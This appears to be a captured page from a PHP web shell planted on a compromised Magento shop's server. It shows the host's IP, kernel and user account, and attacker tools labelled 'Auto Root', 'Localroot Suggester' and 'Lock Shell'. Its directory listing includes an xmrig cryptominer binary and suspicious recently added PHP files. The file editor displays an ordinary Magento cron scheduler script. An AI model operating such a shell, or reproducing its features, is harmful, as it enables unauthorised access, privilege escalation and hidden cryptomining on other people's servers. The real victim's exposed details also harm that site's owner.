Linux host2.homegym.sg 4.18.0-553.8.1.el8_10.x86_64 #1 SMP Tue Jul 2 07:26:33 EDT 2024 x86_64
Apache
Server IP : 159.223.38.192 & Your IP : 159.223.38.192
Domains : 20 Domain
User : eachadea
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Lock Shell
Lock File++
Readme
/
home /
eachadea /
public_html /
homegym.my /
Delete
Unzip
Name
Size
Permission
Date
Action
.well-known
[ DIR ]
drwxr-xr-x
2025-10-31 00:48
app
[ DIR ]
drwxr-xr-x
2025-10-31 00:39
articles
[ DIR ]
drwxr-xr-x
2025-10-30 03:31
assets
[ DIR ]
drwxr-xr-x
2025-10-31 00:48
downloader
[ DIR ]
drwxr-xr-x
2025-10-30 03:31
errors
[ DIR ]
drwxr-xr-x
2025-10-31 01:03
images
[ DIR ]
drwxr-xr-x
2025-10-31 00:39
includes
[ DIR ]
drwxr-xr-x
2025-10-31 00:39
js
[ DIR ]
drwxr-xr-x
2025-10-30 03:31
lib
[ DIR ]
drwxrwxr-x
2025-10-31 01:03
market
[ DIR ]
drwxr-xr-x
2025-10-30 03:31
shell
[ DIR ]
drwxrwxr-x
2025-10-31 00:39
sitemap
[ DIR ]
drwxr-xr-x
2025-10-31 01:03
skin
[ DIR ]
drwxrwxr-x
2025-10-31 00:48
var
[ DIR ]
drwxr-xr-x
2025-10-31 00:48
z
[ DIR ]
drwxr-xr-x
2025-10-31 00:39
.ftpquota
20
B
-rw-------
2025-10-24 18:18
.gitignore
1.68
KB
-rw-r--r--
2019-06-20 13:55
.htaccess
2
KB
-r--r--r--
2025-10-31 01:35
202success.php
0
B
-rw-r--r--
2024-07-11 17:58
LICENSE.html
10.43
KB
-rw-r--r--
2019-06-20 13:55
LICENSE.txt
10.14
KB
-rw-r--r--
2019-06-20 13:55
LICENSE_AFL.txt
10.18
KB
-rw-r--r--
2019-06-20 13:55
README.md
2.43
KB
-rw-rw-rw-
2019-06-20 13:55
RELEASE_NOTES.txt
571.37
KB
-rw-r--r--
2019-06-20 13:55
adaptive-images.php
12.12
KB
-rw-r--r--
2019-06-20 13:55
api.php
2.77
KB
-rw-r--r--
2019-06-20 13:55
cod_exporter_for_magento.php
109.88
KB
-rw-r--r--
2019-06-20 13:55
composer.json
759
B
-rw-rw-rw-
2019-06-20 13:55
config.json
2.96
KB
-rw-r--r--
2021-07-23 02:40
corex.php
0
B
-rw-r--r--
2022-10-07 22:02
cron.php
2.81
KB
-rwxr-xr-x
2019-06-20 13:55
cron.sh
717
B
-rw-r--r--
2019-06-20 13:55
error_log
230.94
MB
-rw-r--r--
2025-10-31 03:08
evolved.php
59.5
KB
-rw-r--r--
2019-06-20 13:55
favicon.ico
1.12
KB
-rw-r--r--
2019-06-20 13:55
get.php
5.84
KB
-rw-r--r--
2019-06-20 13:55
googlea4f484aa75134cf1.html
53
B
-rw-r--r--
2019-06-21 07:38
index.html_maintenance
697
B
-rw-r--r--
2019-06-20 13:55
index.php
26.28
KB
-r--r--r--
2025-10-31 00:35
info.php
20
B
-rw-r--r--
2019-06-20 13:55
install.php
6.29
KB
-rw-r--r--
2019-06-20 13:55
m_test.php
833
B
-rw-r--r--
2019-06-20 13:55
mage
1.29
KB
-rw-r--r--
2019-06-20 13:55
modman
509
B
-rw-rw-rw-
2019-06-20 13:55
output.log
1.18
KB
-rw-rw-rw-
2019-06-20 13:55
package.xml
2.82
KB
-rw-r--r--
2019-06-20 13:55
php.ini
680
B
-rw-r--r--
2024-07-26 03:23
phpinfo.php
171
B
-rw-r--r--
2020-09-01 08:58
postnews.php
5.74
KB
-r--r--r--
2025-10-30 03:31
robots.txt
75
B
-rw-r--r--
2025-10-31 01:35
scheduler_cron.sh
5.34
KB
-rwxrwxrwx
2019-06-20 13:55
sm.txt
63
B
-rw-rw-rw-
2019-06-20 13:55
smartosc.txt
29
B
-rw-r--r--
2019-06-20 13:55
testfile.csv
8.11
KB
-rw-r--r--
2019-06-20 13:55
warp.php
48.25
KB
-rw-r--r--
2019-06-20 13:55
wp-ver.php
102.26
KB
-rw-r--r--
2025-10-28 12:35
wp.php
18
B
-rw-r--r--
2025-10-28 12:36
xmrig
7.57
MB
-rwxr-xr-x
2021-07-23 02:40
Save
Rename
#!/bin/bash # Generate an error if any variable doesn't exist set -o nounset delete_lock() { LOCKDIR=$1 rm -rf "${LOCKDIR}" if [ $? -ne 0 ]; then echo "Could not remove lock dir '${LOCKDIR}'. (Check permissions...)"; >&2 exit 1; fi } # @see http://wiki.bash-hackers.org/howto/mutex acquire_lock () { LOCKDIR=$1 PIDFILE="${LOCKDIR}/PID" #echo "Trying to acquire lock '${LOCKDIR}'." if mkdir "${LOCKDIR}" &>/dev/null; then #echo "Successfully created '${LOCKDIR}'. Lock acquired" # lock succeeded trap 'delete_lock "${LOCKDIR}"; exit $?' INT TERM EXIT echo "$$" >"${PIDFILE}" else #echo "Failed creating ${LOCKDIR}." if [ ! -f "${PIDFILE}" ]; then # no PID file found. This could be # a) because you just updated from a previous version that didn't write a PID file, but a process is legitimetly running # b) because you just updated from a previous version that didn't write a PID file and there's an abandoned lock # c) because you hit the exact time between another process creating the dir and writing the PID file # let's wait for a while to acount for c) and see if the file shows up # and this also solves the problem of any old abandoned lock in b) # only problem here is that there's a minimal chance of having two concurrent processes right after updating in case # a new process expecting a PID file overlaps with an old process that didn't write a PID file sleep 5 # if there's still no PID file we grab the process if [ ! -f "${PIDFILE}" ]; then #echo "No PID file found. Claiming lock now" delete_lock "${LOCKDIR}" # now try acquire new lock recursively... #echo "Now acquiring new lock" acquire_lock $LOCKDIR; return fi fi # lock failed, check if the other PID is alive OTHERPID="$(cat "${PIDFILE}")" # if cat isn't able to read the file, another instance is probably about to remove the lock -- exit, we're *still* locked if [ $? != 0 ]; then #echo "lock failed, PID ${OTHERPID} is active" >&2 exit 1; fi # check is the other process is still alive if ! kill -0 $OTHERPID &>/dev/null; then # lock is stale, remove it and restart #echo "removing stale lock of nonexistant PID ${OTHERPID}" >&2 delete_lock "${LOCKDIR}" # now try acquire new lock recursively... acquire_lock $LOCKDIR; else # lock is valid and OTHERPID is active - exit, we're locked! #echo "Other process is alive. Still locked" exit 1 fi fi } # Location of the php binary PHP_BIN=$(which php || true) if [ -z "${PHP_BIN}" ]; then echo "Could not find a binary for php" 1>&2 exit 1 fi # Location of the md5sum binary MD5SUM_BIN=$(which md5sum || true) if [ -z "${MD5SUM_BIN}" ]; then echo "Could not find a binary for md5sum" 1>&2 exit 1 fi # Absolute path to Magento installation shell scripts DIR=$(cd "$(dirname "${BASH_SOURCE[0]}")/shell" && pwd) if [[ -z "${DIR}" || ! -d "${DIR}" ]]; then echo "Could not resolve base shell directory" 1>&2 exit 1 fi # The scheduler.php script SCHEDULER="scheduler.php" if [[ ! -e "${DIR}/${SCHEDULER}" || ! -r "${DIR}/${SCHEDULER}" ]]; then echo "Could not find scheduler.php script" 1>&2 exit 1 fi # Defaults MODE="default" INCLUDE_GROUPS="" EXCLUDE_GROUPS="" INCLUDE_JOBS="" EXCLUDE_JOBS="" # Parse command line args (very simplistic) while [ $# -gt 0 ]; do case "$1" in --mode) MODE=$2 shift 2 ;; --includeGroups) INCLUDE_GROUPS=$2 shift 2 ;; --excludeGroups) EXCLUDE_GROUPS=$2 shift 2 ;; --includeJobs) INCLUDE_JOBS=$2 shift 2 ;; --excludeJobs) EXCLUDE_JOBS=$2 shift 2 ;; --) shift break ;; *) echo "Invalid arguments." >&2 exit 1 ;; esac done # Verify we have a MODE parameter if [ -z "${MODE}" ]; then echo "Cron run mode MUST be defined." 1>&2 exit 1 fi # Lock process to one run per set of options # This is to prevent multiple processes for the same cron parameters (And the only reason we don't call PHP directly) # Unique identifier for this cron job run IDENTIFIER=$(echo -n "${DIR}|${MODE}|${INCLUDE_GROUPS}|${EXCLUDE_GROUPS}|${INCLUDE_JOBS}|${EXCLUDE_JOBS}" | "${MD5SUM_BIN}" - | cut -f1 -d' ') acquire_lock "/tmp/magento.aoe_scheduler.${IDENTIFIER}.lock"; # Needed because PHP resolves symlinks before setting __FILE__ cd "${DIR}" # Build the options OPTIONS="" if [ -n "${INCLUDE_GROUPS}" ]; then OPTIONS="${OPTIONS} --includeGroups ${INCLUDE_GROUPS}" fi if [ -n "${EXCLUDE_GROUPS}" ]; then OPTIONS="${OPTIONS} --excludeGroups ${EXCLUDE_GROUPS}" fi if [ -n "${INCLUDE_JOBS}" ]; then OPTIONS="${OPTIONS} --includeJobs ${INCLUDE_JOBS}" fi if [ -n "${EXCLUDE_JOBS}" ]; then OPTIONS="${OPTIONS} --excludeJobs ${EXCLUDE_JOBS}" fi # Run the job in the foreground "${PHP_BIN}" "${SCHEDULER}" --action cron --mode ${MODE} ${OPTIONS}